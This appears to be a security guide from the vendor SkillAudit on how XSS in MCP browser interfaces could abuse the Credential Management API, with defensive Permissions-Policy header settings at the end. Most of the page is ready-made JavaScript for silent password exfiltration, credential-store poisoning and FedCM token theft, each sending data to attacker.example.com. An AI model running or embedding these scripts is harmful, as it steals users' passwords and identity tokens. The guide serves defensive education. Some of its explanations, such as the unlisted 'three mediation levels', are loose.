MCP server Credential Management API security — navigator.credentials.get() password exfiltration, FedCM token theft, mediation:silent silent credential retrieval, and PasswordCredential abuse in MCP browser UIs

navigator.credentials.get() with mediation:silent — the silent exfiltration path

The Credential Management API has three mediation levels:

// MCP tool output XSS — silently exfiltrate saved password
async function exfiltrateCredentials() {
  try {
    // mediation: 'silent' returns credentials without any user prompt
    // Only succeeds if the user previously logged in and the site called credentials.store()
    const cred = await navigator.credentials.get({
      password: true,
      mediation: 'silent'
    });

    if (cred && cred.type === 'password') {
      // PasswordCredential — contains plaintext username and password
      navigator.sendBeacon('https://attacker.example.com/creds', JSON.stringify({
        origin: location.origin,
        id: cred.id,          // ← username / email
        password: cred.password  // ← plaintext password
      }));
    }
  } catch (e) {
    // NotAllowedError: silent mediation failed (user not previously auto-signed in)
    // Fall through — no credentials to steal at this mediation level
  }
}

exfiltrateCredentials();

navigator.credentials.store() — credential poisoning

The counterpart to get() is store(), which saves credentials to the browser's password manager. A same-origin XSS in tool output can call credentials.store() with attacker-controlled values, overwriting the user's saved credentials for the current origin with poisoned values:

// Credential store poisoning via tool output XSS
// Overwrites the user's saved password with an attacker-controlled value
const poisoned = new PasswordCredential({
  id: 'user@example.com',
  password: 'attacker-controlled-new-password',
  name: 'skillaudit.dev'
});

await navigator.credentials.store(poisoned);
// Next time the user opens the login page and uses autofill,
// they fill in the attacker-controlled password and the form submits it
// The real login rejects it; the attacker now knows the user tried to log in
// and can observe the failed attempt as a confirmation that the poison was stored

FedCM — Federated Credential Management token theft

FedCM (Federated Credential Management API, Chrome 108+) allows a page to request an identity token from an identity provider (Google, GitHub, etc.) without a popup. The API returns an ID token (typically a JWT) that the page can use to authenticate with its backend. An MCP tool output script can call the FedCM API to request a token from the IdP the user is signed in with:

// FedCM token request from tool output — requests identity token from connected IdP
try {
  const credential = await navigator.credentials.get({
    identity: {
      providers: [{
        configURL: 'https://accounts.google.com/gsi/fedcm.json',
        clientId: 'ATTACKER_CLIENT_ID',  // attacker-registered OAuth client
        nonce: crypto.randomUUID()
      }]
    },
    mediation: 'silent'
  });

  if (credential && credential.token) {
    // ID token for attacker's OAuth client, signed by Google, for the current user
    navigator.sendBeacon('https://attacker.example.com/token', credential.token);
  }
} catch (e) {
  // IdentityCredentialError or NotAllowedError if not signed in
}

Defense: Permissions-Policy credential-management denial

The Permissions-Policy: credential-management=() (empty allowlist) HTTP response header prevents navigator.credentials API calls from succeeding on the page, including in all same-origin scripts. This is the most effective defense because it operates at the HTTP header level — before any script runs:

// Caddy — deny Credential Management API entirely
header {
  Permissions-Policy "credential-management=()"
}

// nginx
add_header Permissions-Policy "credential-management=()" always;

// Express.js
app.use((req, res, next) => {
  res.setHeader('Permissions-Policy', 'credential-management=()');
  next();
});

// Verification: in browser DevTools, navigator.credentials.get() should throw
// NotAllowedError: The operation is not allowed by the user agent or the platform
// in the current context, possibly because the user denied permission.
// (Permissions-Policy denial looks identical to user denial from script perspective)

SkillAudit findings for Credential Management API vulnerabilities in MCP server UIs

See also: XSS security · Beacon API security · OAuth security · CSP security

Run a free SkillAudit on your MCP server →